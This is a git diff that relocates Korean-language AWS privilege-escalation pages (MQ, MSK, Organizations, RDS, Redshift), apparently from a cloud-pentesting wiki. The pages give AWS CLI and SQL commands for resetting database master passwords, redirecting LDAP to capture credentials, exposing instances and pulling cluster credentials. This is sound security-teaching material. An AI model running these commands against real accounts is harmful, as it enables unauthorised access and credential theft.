-../aws-services/aws-mq-enum.md -{{#endref}} - -### `mq:ListBrokers`, `mq:CreateUser` - -이 권한으로 **ActiveMQ 브로커에 새 사용자를 생성할 수 있습니다** (이것은 RabbitMQ에서는 작동하지 않습니다): -```bash -aws mq list-brokers -aws mq create-user --broker-id --console-access --password --username -``` -**잠재적 영향:** ActiveMQ를 탐색하여 민감한 정보에 접근 - -### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` - -이 권한을 사용하면 **ActiveMQ 브로커에 새 사용자를 생성할 수 있습니다** (이것은 RabbitMQ에서는 작동하지 않습니다): -```bash -aws mq list-brokers -aws mq list-users --broker-id -aws mq update-user --broker-id --console-access --password --username -``` -**잠재적 영향:** ActiveMQ를 탐색하여 민감한 정보에 접근 - -### `mq:ListBrokers`, `mq:UpdateBroker` - -브로커가 **ActiveMQ**에 대해 **LDAP**를 사용하여 권한 부여를 하는 경우, 공격자가 **제어하는 LDAP 서버**로 **구성**을 **변경**할 수 있습니다. 이렇게 하면 공격자는 **LDAP를 통해 전송되는 모든 자격 증명을 훔칠 수** 있게 됩니다. -```bash -aws mq list-brokers -aws mq update-broker --broker-id --ldap-server-metadata=... -``` -ActiveMQ에서 사용된 원래 자격 증명을 찾을 수 있다면 MitM을 수행하고, 자격 증명을 훔쳐 원래 서버에서 사용한 다음 응답을 전송할 수 있습니다(아마도 훔친 자격 증명을 재사용하여 이를 수행할 수 있습니다). - -**잠재적 영향:** ActiveMQ 자격 증명 훔치기 - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md new file mode 100644 index 000000000..daa3d3676 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md @@ -0,0 +1,43 @@ +# AWS - MQ Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## MQ + +For more information about MQ check: + +{{#ref}} +../../aws-services/aws-mq-enum.md +{{#endref}} + +### `mq:ListBrokers`, `mq:CreateUser` + +해당 권한으로 **ActimeMQ 브로커에 새 사용자를 생성할 수 있습니다** (이는 RabbitMQ에서는 작동하지 않습니다): +```bash +aws mq list-brokers +aws mq create-user --broker-id --console-access --password --username +``` +**잠재적 영향:** ActiveMQ를 탐색하여 민감한 정보에 접근 + +### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` + +해당 권한이 있으면 **ActimeMQ 브로커에 새 사용자를 생성할 수 있습니다** (이는 RabbitMQ에서는 작동하지 않습니다): +```bash +aws mq list-brokers +aws mq list-users --broker-id +aws mq update-user --broker-id --console-access --password --username +``` +**잠재적 영향:** ActiveMQ를 통해 탐색하여 민감한 정보에 접근 + +### `mq:ListBrokers`, `mq:UpdateBroker` + +브로커가 **LDAP**을 사용하여 **ActiveMQ**에서 권한 부여를 수행하는 경우, LDAP 서버의 **구성**을 **attacker가 제어하는 서버로** **변경**할 수 있습니다. 이렇게 하면 attacker는 **LDAP을 통해 전송되는 모든 credentials을 탈취**할 수 있습니다. +```bash +aws mq list-brokers +aws mq update-broker --broker-id --ldap-server-metadata=... +``` +ActiveMQ에서 사용된 원래 credentials를 어떻게든 찾아낼 수 있다면 MitM을 수행하여 creds를 훔치고, 원래 서버에서 이를 사용해 응답을 전송할 수 있습니다(혹은 훔친 credentials를 재사용하는 것만으로도 가능할 수 있습니다). + +**잠재적 영향:** Steal ActiveMQ credentials + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md deleted file mode 100644 index 738ea35ed..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ /dev/null @@ -1,22 +0,0 @@ -# AWS - MSK Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## MSK - -MSK (Kafka)에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-msk-enum.md -{{#endref}} - -### `msk:ListClusters`, `msk:UpdateSecurity` - -이 **권한**과 **카프카 브로커가 있는 VPC에 대한 접근 권한**이 있으면, 그에 대한 **인증 없음**을 추가하여 접근할 수 있습니다. -```bash -aws msk --client-authentication --cluster-arn --current-version -``` -VPC에 접근해야 합니다. 왜냐하면 **Kafka를 공개적으로 노출할 때 None 인증을 활성화할 수 없기 때문입니다**. 공개적으로 노출된 경우, **SASL/SCRAM** 인증이 사용된다면 **비밀을 읽을 수 있습니다** (비밀을 읽으려면 추가 권한이 필요합니다).\ -**IAM 역할 기반 인증**이 사용되고 **Kafka가 공개적으로 노출된 경우**에도 이러한 권한을 남용하여 접근 권한을 부여받을 수 있습니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md new file mode 100644 index 000000000..ff1176db4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md @@ -0,0 +1,22 @@ +# AWS - MSK Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## MSK + +MSK (Kafka)에 대한 자세한 내용은 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-msk-enum.md +{{#endref}} + +### `msk:ListClusters`, `msk:UpdateSecurity` + +이러한 **privileges**와 **access to the VPC where the kafka brokers are**가 있으면, **None authentication**을 추가하여 접근할 수 있습니다. +```bash +aws msk --client-authentication --cluster-arn --current-version +``` +VPC에 접근할 수 있어야 합니다. 그 이유는 **Kafka가 공개적으로 노출된 상태에서는 None authentication을 활성화할 수 없기 때문**입니다. 공개적으로 노출되어 있고 **SASL/SCRAM** 인증이 사용되는 경우, 접근을 위해 **secret을 읽을 수 있습니다**(secret을 읽으려면 추가 권한이 필요합니다).\ +**IAM role-based authentication**이 사용되고 **kafka가 공개적으로 노출된** 경우에도 이러한 권한을 악용해 접근 권한을 얻을 수 있습니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md deleted file mode 100644 index 9210a06e5..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ /dev/null @@ -1,18 +0,0 @@ -# AWS - Organizations Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Organizations - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-organizations-enum.md -{{#endref}} - -## 관리 계정에서 자식 계정으로 - -루트/관리 계정을 손상시키면 모든 자식 계정을 손상시킬 가능성이 높습니다.\ -[**이 페이지를 확인하여 배우세요**](../#compromising-the-organization). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md new file mode 100644 index 000000000..0c5916502 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md @@ -0,0 +1,18 @@ +# AWS - Organizations Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Organizations + +자세한 내용은 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-organizations-enum.md +{{#endref}} + +## 관리 계정에서 하위 계정으로 + +root/management account를 탈취하면, 하위 계정 전체를 탈취할 가능성이 큽니다.\ +자세한 방법은 [**이 페이지를 확인하세요**](../../index.html#compromising-the-organization). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md deleted file mode 100644 index 4eb653f33..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ /dev/null @@ -1,151 +0,0 @@ -# AWS - RDS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## RDS - 관계형 데이터베이스 서비스 - -RDS에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-relational-database-rds-enum.md -{{#endref}} - -### `rds:ModifyDBInstance` - -이 권한을 통해 공격자는 **마스터 사용자 비밀번호를 수정**하고 데이터베이스 내에서 로그인할 수 있습니다: -```bash -# Get the DB username, db name and address -aws rds describe-db-instances - -# Modify the password and wait a couple of minutes -aws rds modify-db-instance \ ---db-instance-identifier \ ---master-user-password 'Llaody2f6.123' \ ---apply-immediately - -# In case of postgres -psql postgresql://:@:5432/ -``` -> [!WARNING] -> 데이터베이스에 **연락할 수 있어야 합니다** (일반적으로 내부 네트워크에서만 접근 가능합니다). - -**잠재적 영향:** 데이터베이스 내의 민감한 정보를 찾습니다. - -### rds-db:connect - -[**문서**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html)에 따르면, 이 권한을 가진 사용자는 DB 인스턴스에 연결할 수 있습니다. - -### RDS 역할 IAM 권한 남용 - -#### Postgresql (Aurora) - -> [!TIP] -> **`SELECT datname FROM pg_database;`**를 실행했을 때 **`rdsadmin`**이라는 데이터베이스를 찾으면 **AWS postgresql 데이터베이스**에 있는 것입니다. - -먼저 이 데이터베이스가 다른 AWS 서비스에 접근하는 데 사용되었는지 확인할 수 있습니다. 설치된 확장을 확인하여 이를 확인할 수 있습니다: -```sql -SELECT * FROM pg_extension; -``` -**`aws_s3`**와 같은 것을 발견하면 이 데이터베이스가 **S3에 대한 어떤 접근 권한이 있다고 가정할 수 있습니다** (다른 확장자도 있습니다, 예: **`aws_ml`** 및 **`aws_lambda`**). - -또한, **`aws rds describe-db-clusters`**를 실행할 수 있는 권한이 있다면 **`AssociatedRoles`** 필드에서 **클러스터에 연결된 IAM 역할이 있는지** 확인할 수 있습니다. 만약 있다면, 데이터베이스가 **다른 AWS 서비스에 접근할 수 있도록 준비되었다고 가정할 수 있습니다**. **역할의 이름**(또는 역할의 **권한**을 얻을 수 있다면)을 기반으로 데이터베이스가 어떤 추가 접근 권한을 가지고 있는지 **추측**할 수 있습니다. - -이제 **버킷 내의 파일을 읽으려면** 전체 경로를 알아야 합니다. 다음과 같이 읽을 수 있습니다: -```sql -// Create table -CREATE TABLE ttemp (col TEXT); - -// Create s3 uri -SELECT aws_commons.create_s3_uri( -'test1234567890678', // Name of the bucket -'data.csv', // Name of the file -'eu-west-1' //region of the bucket -) AS s3_uri \gset - -// Load file contents in table -SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri'); - -// Get info -SELECT * from ttemp; - -// Delete table -DROP TABLE ttemp; -``` -**원시 AWS 자격 증명**이 있는 경우 다음을 사용하여 S3 데이터에 액세스할 수 있습니다: -```sql -SELECT aws_s3.table_import_from_s3( -'t', '', '(format csv)', -:'s3_uri', -aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') -); -``` -> [!NOTE] -> Postgresql **매개변수 그룹 변수를 변경할 필요가 없습니다** S3에 접근할 수 있습니다. - -#### Mysql (Aurora) - -> [!TIP] -> mysql 내부에서 **`SELECT User, Host FROM mysql.user;`** 쿼리를 실행하고 **`rdsadmin`**이라는 사용자가 있다면, **AWS RDS mysql db** 내부에 있다고 가정할 수 있습니다. - -mysql에서 **`show variables;`**를 실행하고 **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**와 같은 변수가 값이 있다면, 데이터베이스가 S3 데이터에 접근할 준비가 되어 있다고 가정할 수 있습니다. - -또한, **`aws rds describe-db-clusters`**를 실행할 수 있는 권한이 있다면 클러스터에 **연관된 역할**이 있는지 확인할 수 있으며, 이는 일반적으로 AWS 서비스에 대한 접근을 의미합니다. - -이제 **버킷 내 파일을 읽으려면** 전체 경로를 알아야 합니다. 다음과 같이 읽을 수 있습니다: -```sql -CREATE TABLE ttemp (col TEXT); -LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); -SELECT * FROM ttemp; -DROP TABLE ttemp; -``` -### `rds:AddRoleToDBCluster`, `iam:PassRole` - -`rds:AddRoleToDBCluster` 및 `iam:PassRole` 권한을 가진 공격자는 **기존 RDS 인스턴스에 지정된 역할을 추가**할 수 있습니다. 이는 공격자가 **민감한 데이터에 접근**하거나 인스턴스 내의 데이터를 수정할 수 있게 할 수 있습니다. -```bash -aws add-role-to-db-cluster --db-cluster-identifier --role-arn -``` -**잠재적 영향**: RDS 인스턴스의 민감한 데이터에 대한 접근 또는 데이터에 대한 무단 수정.\ -일부 DB는 추가 구성이 필요하다는 점에 유의하십시오. 예를 들어 Mysql은 파라미터 그룹에서 역할 ARN을 지정해야 합니다. - -### `rds:CreateDBInstance` - -이 권한만으로 공격자는 **이미 존재하고 IAM 역할이 연결된 클러스터 내에 새로운 인스턴스**를 생성할 수 있습니다. 그는 마스터 사용자 비밀번호를 변경할 수는 없지만, 새로운 데이터베이스 인스턴스를 인터넷에 노출할 수 있을지도 모릅니다: -```bash -aws --region eu-west-1 --profile none-priv rds create-db-instance \ ---db-instance-identifier mydbinstance2 \ ---db-instance-class db.t3.medium \ ---engine aurora-postgresql \ ---db-cluster-identifier database-1 \ ---db-security-groups "string" \ ---publicly-accessible -``` -### `rds:CreateDBInstance`, `iam:PassRole` - -> [!NOTE] -> TODO: 테스트 - -`rds:CreateDBInstance` 및 `iam:PassRole` 권한을 가진 공격자는 **지정된 역할이 연결된 새로운 RDS 인스턴스를 생성할 수 있습니다**. 공격자는 이후 **민감한 데이터에 접근하거나** 인스턴스 내의 데이터를 수정할 수 있습니다. - -> [!WARNING] -> 연결할 역할/인스턴스 프로필의 일부 요구 사항 ( [**여기**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)에서): - -> - 프로필은 귀하의 계정에 존재해야 합니다. -> - 프로필은 Amazon EC2가 가정할 수 있는 IAM 역할을 가져야 합니다. -> - 인스턴스 프로필 이름과 관련된 IAM 역할 이름은 `AWSRDSCustom` 접두사로 시작해야 합니다. -```bash -aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole -``` -**잠재적 영향**: RDS 인스턴스의 민감한 데이터에 대한 접근 또는 데이터에 대한 무단 수정. - -### `rds:AddRoleToDBInstance`, `iam:PassRole` - -`rds:AddRoleToDBInstance` 및 `iam:PassRole` 권한을 가진 공격자는 **기존 RDS 인스턴스에 지정된 역할을 추가할 수 있습니다**. 이는 공격자가 **민감한 데이터에 접근**하거나 인스턴스 내의 데이터를 수정할 수 있게 할 수 있습니다. - -> [!WARNING] -> DB 인스턴스는 이를 위해 클러스터 외부에 있어야 합니다. -```bash -aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name -``` -**잠재적 영향**: RDS 인스턴스의 민감한 데이터에 대한 접근 또는 데이터에 대한 무단 수정. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md new file mode 100644 index 000000000..c3d90ccfd --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md @@ -0,0 +1,151 @@ +# AWS - RDS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## RDS - 관계형 데이터베이스 서비스 + +For more information about RDS check: + +{{#ref}} +../../aws-services/aws-relational-database-rds-enum.md +{{#endref}} + +### `rds:ModifyDBInstance` + +해당 권한이 있으면 공격자는 **마스터 사용자 비밀번호를 수정**하고, 데이터베이스 내 로그인 정보를 변경할 수 있습니다: +```bash +# Get the DB username, db name and address +aws rds describe-db-instances + +# Modify the password and wait a couple of minutes +aws rds modify-db-instance \ +--db-instance-identifier \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately + +# In case of postgres +psql postgresql://:@:5432/ +``` +> [!WARNING] +> 데이터베이스에 **접속할 수 있어야 합니다** (보통 내부 네트워크에서만 접근 가능합니다). + +**Potential Impact:** 데이터베이스 내부에서 민감한 정보를 찾을 수 있습니다. + +### rds-db:connect + +해당 [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html)에 따르면 이 권한을 가진 사용자는 DB 인스턴스에 연결할 수 있습니다. + +### RDS Role IAM 권한 악용 + +#### Postgresql (Aurora) + +> [!TIP] +> 만약 **`SELECT datname FROM pg_database;`**를 실행해 **`rdsadmin`**이라는 데이터베이스가 나오면, 당신은 **AWS postgresql database** 내부에 있다는 것을 알 수 있습니다. + +먼저 이 데이터베이스가 다른 AWS 서비스에 접근하는 데 사용되었는지 확인할 수 있습니다. 설치된 extensions를 확인해 보세요: +```sql +SELECT * FROM pg_extension; +``` +만약 **`aws_s3`** 같은 항목을 찾으면, 이 데이터베이스가 **S3에 대한 어떤 형태의 접근 권한**을 가지고 있다고 가정할 수 있습니다 (다른 확장으로는 **`aws_ml`** 및 **`aws_lambda`** 등이 있습니다). + +또한 **`aws rds describe-db-clusters`** 를 실행할 권한이 있다면, 해당 명령에서 **`AssociatedRoles`** 필드에 **cluster에 어떤 IAM Role이 연결되어 있는지** 확인할 수 있습니다. 만약 연결되어 있다면 데이터베이스가 **다른 AWS 서비스에 접근하도록 준비되어 있었다**고 가정할 수 있습니다. 역할의 **name**(또는 역할의 **permissions**를 확인할 수 있다면)을 바탕으로 데이터베이스가 어떤 추가 접근 권한을 갖는지 **guess**할 수 있습니다. + +이제 **bucket 내부의 파일을 읽으려면** 전체 경로를 알아야 합니다. 다음과 같이 읽을 수 있습니다: +```sql +// Create table +CREATE TABLE ttemp (col TEXT); + +// Create s3 uri +SELECT aws_commons.create_s3_uri( +'test1234567890678', // Name of the bucket +'data.csv', // Name of the file +'eu-west-1' //region of the bucket +) AS s3_uri \gset + +// Load file contents in table +SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri'); + +// Get info +SELECT * from ttemp; + +// Delete table +DROP TABLE ttemp; +``` +만약 **raw AWS credentials**가 있다면, 이를 사용해 S3 데이터에 다음과 같이 접근할 수도 있습니다: +```sql +SELECT aws_s3.table_import_from_s3( +'t', '', '(format csv)', +:'s3_uri', +aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') +); +``` +> [!NOTE] +> Postgresql은 S3에 접근하기 위해 **parameter group 변수를 변경할 필요가 없다**. + +#### Mysql (Aurora) + +> [!TIP] +> Mysql 내부에서 쿼리 **`SELECT User, Host FROM mysql.user;`** 를 실행했을 때 **`rdsadmin`**이라는 사용자가 있으면 **AWS RDS mysql db** 안에 있다고 간주할 수 있다. + +Mysql 내부에서 **`show variables;`** 를 실행하고 **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** 같은 변수들이 값이 있다면, 데이터베이스가 S3 데이터에 접근할 준비가 되어 있다고 볼 수 있다. + +또한 **`aws rds describe-db-clusters`** 를 실행할 권한이 있다면 클러스터에 어떤 **associated role** 이 연결되어 있는지 확인할 수 있으며, 이는 보통 AWS 서비스에 대한 접근을 의미한다). + +이제 **버킷 안의 파일을 읽으려면** 전체 경로를 알아야 한다. 다음 명령으로 읽을 수 있다: +```sql +CREATE TABLE ttemp (col TEXT); +LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); +SELECT * FROM ttemp; +DROP TABLE ttemp; +``` +### `rds:AddRoleToDBCluster`, `iam:PassRole` + +권한 `rds:AddRoleToDBCluster` 및 `iam:PassRole`를 가진 공격자는 **기존 RDS 인스턴스에 지정된 역할을 추가할 수 있습니다**. 이는 공격자가 **민감한 데이터에 접근**하거나 인스턴스 내의 데이터를 수정할 수 있게 합니다. +```bash +aws add-role-to-db-cluster --db-cluster-identifier --role-arn +``` +**잠재적 영향**: RDS 인스턴스의 민감한 데이터 접근 또는 데이터에 대한 무단 수정.\ +일부 DB는 추가 구성이 필요합니다. 예를 들어 Mysql의 경우 role ARN을 parameter groups에도 지정해야 합니다. + +### `rds:CreateDBInstance` + +이 권한만으로 공격자는 이미 존재하고 **IAM role**이 연결되어 있는 클러스터 내에 **새 인스턴스**를 생성할 수 있습니다. 공격자는 마스터 사용자 비밀번호를 변경할 수는 없지만, 새 데이터베이스 인스턴스를 인터넷에 노출시킬 수 있습니다: +```bash +aws --region eu-west-1 --profile none-priv rds create-db-instance \ +--db-instance-identifier mydbinstance2 \ +--db-instance-class db.t3.medium \ +--engine aurora-postgresql \ +--db-cluster-identifier database-1 \ +--db-security-groups "string" \ +--publicly-accessible +``` +### `rds:CreateDBInstance`, `iam:PassRole` + +> [!NOTE] +> TODO: 테스트 + +An attacker with the permissions `rds:CreateDBInstance` and `iam:PassRole` can **create a new RDS instance with a specified role attached**. The attacker can then potentially **access sensitive data** or modify the data within the instance. + +> [!WARNING] +> 연결할 role/instance-profile의 일부 요구사항 (자세한 내용은 [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): + +> - 인스턴스 프로파일은 귀하의 계정에 존재해야 합니다. +> - 프로파일에는 Amazon EC2가 맡을 수 있는 권한을 가진 IAM 역할이 있어야 합니다. +> - 인스턴스 프로파일 이름과 연결된 IAM 역할 이름은 접두사 `AWSRDSCustom`으로 시작해야 합니다. +```bash +aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole +``` +**Potential Impact**: RDS 인스턴스의 민감한 데이터에 대한 접근 또는 데이터의 무단 수정. + +### `rds:AddRoleToDBInstance`, `iam:PassRole` + +`rds:AddRoleToDBInstance` 및 `iam:PassRole` 권한을 가진 공격자는 **기존 RDS 인스턴스에 지정된 역할을 추가할 수 있습니다**. 이는 공격자가 **민감한 데이터에 접근**하거나 인스턴스 내의 데이터를 수정할 수 있게 합니다. + +> [!WARNING] +> 이 작업을 위해 DB 인스턴스는 클러스터 외부에 있어야 합니다 +```bash +aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name +``` +**잠재적 영향**: RDS 인스턴스 내 민감한 데이터에 대한 접근 또는 데이터에 대한 무단 수정. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md deleted file mode 100644 index 927b64045..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ /dev/null @@ -1,95 +0,0 @@ -# AWS - Redshift Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Redshift - -RDS에 대한 자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-redshift-enum.md -{{#endref}} - -### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` - -이 권한을 사용하면 **모든 클러스터의 정보**(이름 및 클러스터 사용자 이름 포함)를 얻고 **접속할 수 있는 자격 증명**을 얻을 수 있습니다: -```bash -# Get creds -aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 -# Connect, even if the password is a base64 string, that is the password -psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 -``` -**잠재적 영향:** 데이터베이스 내의 민감한 정보 찾기. - -### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` - -이 권한을 사용하면 **모든 클러스터의 정보**를 얻고 **액세스할 수 있는 자격 증명**을 얻을 수 있습니다.\ -postgres 사용자는 자격 증명을 얻는 데 사용된 **IAM ID의 권한**을 갖게 됩니다. -```bash -# Get creds -aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 -# Connect, even if the password is a base64 string, that is the password -psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 -``` -**잠재적 영향:** 데이터베이스 내에서 민감한 정보 찾기. - -### `redshift:DescribeClusters`, `redshift:ModifyCluster?` - -aws cli를 통해 내부 postgres (redshit) 사용자의 **마스터 비밀번호를 수정**할 수 있습니다 (필요한 권한이 이 것들이라고 생각하지만 아직 테스트해보지 않았습니다): -``` -aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; -``` -**잠재적 영향:** 데이터베이스 내에서 민감한 정보를 찾습니다. - -## 외부 서비스 접근 - -> [!WARNING] -> 다음 리소스에 접근하려면 **사용할 역할을 지정해야** 합니다. Redshift 클러스터는 **사용할 수 있는 AWS 역할 목록을 할당받을 수** 있으며, **ARN을 알고 있다면** 사용할 수 있습니다. 또는 기본적으로 할당된 역할을 사용하기 위해 "**default**"로 설정할 수 있습니다. - -> 또한, [**여기에서 설명된 대로**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift는 추가 접근을 위해 역할을 **콤마**로 **구분하여** 연결할 수 있습니다(첫 번째 역할이 두 번째 역할을 수용할 수 있는 경우): `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` - -### 람다 - -[https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html)에서 설명된 바와 같이, Redshift에서 다음과 같은 방식으로 **람다 함수를 호출할 수** 있습니다: -```sql -CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) -RETURNS INT -STABLE -LAMBDA 'lambda_function' -IAM_ROLE default; -``` -### S3 - -[https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html)에서 설명된 바와 같이, **S3 버킷에 읽고 쓸 수 있습니다**: -```sql -# Read -copy table from 's3:///load/key_prefix' -credentials 'aws_iam_role=arn:aws:iam:::role/' -region '' -options; - -# Write -unload ('select * from venue') -to 's3://mybucket/tickit/unload/venue_' -iam_role default; -``` -### Dynamo - -[https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html)에서 설명된 바와 같이, **dynamodb에서 데이터를 가져오는 것이 가능합니다**: -```sql -copy favoritemovies -from 'dynamodb://ProductCatalog' -iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; -``` -> [!WARNING] -> 데이터를 제공하는 Amazon DynamoDB 테이블은 클러스터와 동일한 AWS 리전에서 생성되어야 합니다. 그렇지 않으면 Amazon DynamoDB 테이블이 위치한 AWS 리전을 지정하기 위해 [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) 옵션을 사용해야 합니다. - -### EMR - -Check [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) - -## References - -- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md new file mode 100644 index 000000000..75363ac0b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md @@ -0,0 +1,95 @@ +# AWS - Redshift Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Redshift + +RDS에 대한 자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-redshift-enum.md +{{#endref}} + +### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` + +이 권한들로 모든 클러스터의 **정보**(이름 및 클러스터 사용자 이름 포함)를 얻고, 클러스터에 접근할 수 있는 **자격 증명**을 얻을 수 있습니다: +```bash +# Get creds +aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 +# Connect, even if the password is a base64 string, that is the password +psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 +``` +**Potential Impact:** 데이터베이스 내부에서 민감한 정보를 찾을 수 있습니다. + +### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` + +이 권한들로 **모든 클러스터의 정보**를 얻고 접속할 수 있는 **자격증명**을 얻을 수 있습니다.\ +참고: postgres 사용자는 자격증명을 얻는 데 사용된 **IAM identity가 가진 권한**을 갖습니다. +```bash +# Get creds +aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 +# Connect, even if the password is a base64 string, that is the password +psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 